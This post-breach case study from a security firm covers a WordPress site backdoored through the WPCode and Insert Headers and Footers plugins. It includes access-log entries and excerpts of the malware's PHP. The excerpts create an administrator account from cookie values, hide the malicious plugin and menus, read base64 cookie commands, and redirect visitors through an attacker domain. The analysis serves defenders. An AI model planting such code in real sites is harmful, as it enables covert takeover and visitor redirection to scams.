Case Study: Uncovering Sneaky WordPress Backdoor

In a recent post-breach analysis investigation conducted by REDSECLABS, we were tasked with analyzing a compromised WordPress website that was exhibiting malicious redirection behavior. Visitors to the website were being redirected to suspicious domains serving advertisements.
During an in-depth examination, REDSECLABS identified a backdoor that provided an unauthorized method for adding an administrator user to the WordPress system. Additionally, the malicious code performed IP-based tracking and redirection using DNS TXT records while suppressing error messages to evade detection.
Initial Symptoms and Malicious Redirects
RSL Client reported that upon accesing the infected website, users were immediately redirected to arbitrary domains, such as qltuh.sec-tl-129-c.buzz and bitdefender.top several others . This domain requested permission to send notifications, a common tactic used in browser push notification scams. Further examination revealed that the page displayed a deceptive "human verification" message, enticing users to click "Allow," likely leading to further malicious actions such as phishing, ad fraud, or malware downloads.


Using Worpdress Malware Scanning Tools
The first step was obviously to scan tools with tools wordfence, malcure etc. However, despite of in-depth scans, no immediate threats were found.

Database Analysis
Next step was to obviously see if the source code files or database had malicious domains. Using MySQL queries, we examined the rcc_options table, specifically looking for stored cron jobs or injected values related to malicious domains ( bitdefender.top and qltuh.sec-tl-129-c.buzz). Surprisingly, the queries returned an empty result set, suggesting that the payload was being injected dynamically rather than statically stored in the database.

Furthermore, customers started reported redirects to several other random domain besides the ones mentioned earlier, giving credence to the theory that the domain names are being generated dynamically at runtime.
Log Analysis
By examining the "error logs" and "access logs", the logs show suspicious activity from two IPs (186.99.183.175 and 35.212.27.186).
Atatcker’s first entry:
186.99.183.175 [REDACTED] - [24/Sep/2024:17:24:25 +0000] "GET /wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" | - | 0.401 0.401 0.401 BYPASS 0 NC:010000 UP:-
Activating Headers and Footers Plugin in wp:
186.99.183.175 [REDACTED] - [24/Sep/2024:17:25:30 +0000] "GET /wp-admin/plugins.php?action=activate&plugin=insert-headers-and-footers%2Fihaf.php&plugin_status=all&paged=1&s&_wpnonce=17ac496ef6&show_all=1 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" | TLSv1.3 | 1.143 1.143 1.142 BYPASS 0 NC:200000 UP:-
In the following log, the attacker attempted to access and modify a WordPress code snippet through WPCode plugin.
186.99.183.175 [REDACTED] - [24/Sep/2024:17:26:11 +0000] "GET /wp-admin/admin.php?page=wpcode-snippet-manager&snippet_id=23734&message=2&error HTTP/1.1" 200 122419 "https://REDACTED/wp-admin/admin.php?page=wpcode-snippet-manager" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" | TLSv1.3 | 0.273 0.287 0.441 BYPASS 0 NC:200000 UP:-
While in the following log entry, an attempt to upload a PHP file inside the uploads directory was a major red flag as WordPress doesn’t store executable PHP files in /wp-content/uploads/ unless it has been uploaded manually or via a plugin vulnerability.
35.212.27.186 [REDACTED - [24/Sep/2024:17:24:36 +0000] "GET /wp-content/uploads/code-execution.php HTTP/1.1" 200 43 "-" "WordPress/6.6.2; REDACTED" | TLSv1.3 | 0.037 0.037 0.036 MISS 0 NC:000000 UP:-
Following is the complete pattern from the log file:

WPCode Plugin Exploitation
Through WPCode plugin, attacker inserted malicious PHP code snippets directly into the WordPress site. This allowed the attacker to execute arbitrary PHP scripts, making the attack highly persistent and difficult to detect. Screenshot below showcases the injected PHP snippet.

Upon deeper inspection of the database, we found wpcode_snippets containing serialized PHP code, which was likely used to facilitate ongoing injections or unauthorized modifications to site behavior.


Backtracking the error logs resulted in Ihaf.php. Close inspection revealed the presence of backdoor.

Functionality of Backdoor
The following code snippet operates as a backdoor in a compromised WordPress site. Here’s how it functions:
Create New Administrator Accounts
If the attacker provides username (u), password (p), and email (e) via cookies, the below script creates a new administrator account. This allows the attacker to gain complete control over the website.
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
Modify WordPress Options
The following code ensures that certain WordPress admin elements are hidden. This prevents administrators from noticing or removing the malware via the WordPress dashboard
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
Hiding Installed Malicious Plugins from Wordpress Dashboard
The below script removes a specific plugin (insert-headers-and-footers/ihaf.php) from the plugin list. This ensures that the plugin doesn’t appear in the WordPress admin interface.
add_filter('all_plugins', function ($plugins) {
unset($plugins['insert-headers-and-footers/ihaf.php']);
return $plugins;
});
Creating a Backdoor for Remote Control
The below script checks for specific base64-encoded cookies, allowing an attacker to send hidden commands to the site. If the attacker’s authentication token ($_pwsa = 'bcd928f49024243902e8434aff954d23';) is valid, the malware executes various actions.
function _gcookie($n) {
return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
}
Redirecting Visitors to Malicious Sites Based on IP and Device
The below script determines if a visitor is using a mobile device or iPhone. If a user meets certain conditions, the site may redirect them to a malicious domain. This could be used for phishing, malware distribution, or SEO poisoning.
The _red() function redirects users to an external malicious site
wp_redirect($s); exit;
The script checks the visitor's IP address using:
function userip() { ... }
It determines if the visitor is using an iPhone or mobile device
function _is_mobile() { ... }
function _is_iphone() { ... }
It constructs a malicious DNS query
$h = 'cdn-routing.com';
The site cdn-routing.com is likely an attacker-controlled domain.
Cache based Persistence
The below script ensures that once a visitor has been redirected, they won’t be redirected again for 24 hours. This hides the presence of the malware from security researchers who visit the site once and return later for analysis:
$exp = get_transient('exp'); if (!is_array($exp)) { $exp = array(); } foreach ($exp as $k => $v) { if (time() - $v > 86400) { unset($exp[$k]); } }
Conclusion
WordPress sites are frequently targeted by backdoor and malware, allowing attackers to gain unauthorized access, hide their activities, and compromise website security. Even the best of WordPress automated security plugins fail to detect these sneaky backdoor, which are getting more and more sophisticated with every passing day. The impact can be severe, affecting both the site’s integrity and user trust. If you suspect that your website has been compromised by a backdoor or any other form of malware, we are here to help. Feel free to reach out to us at [email protected].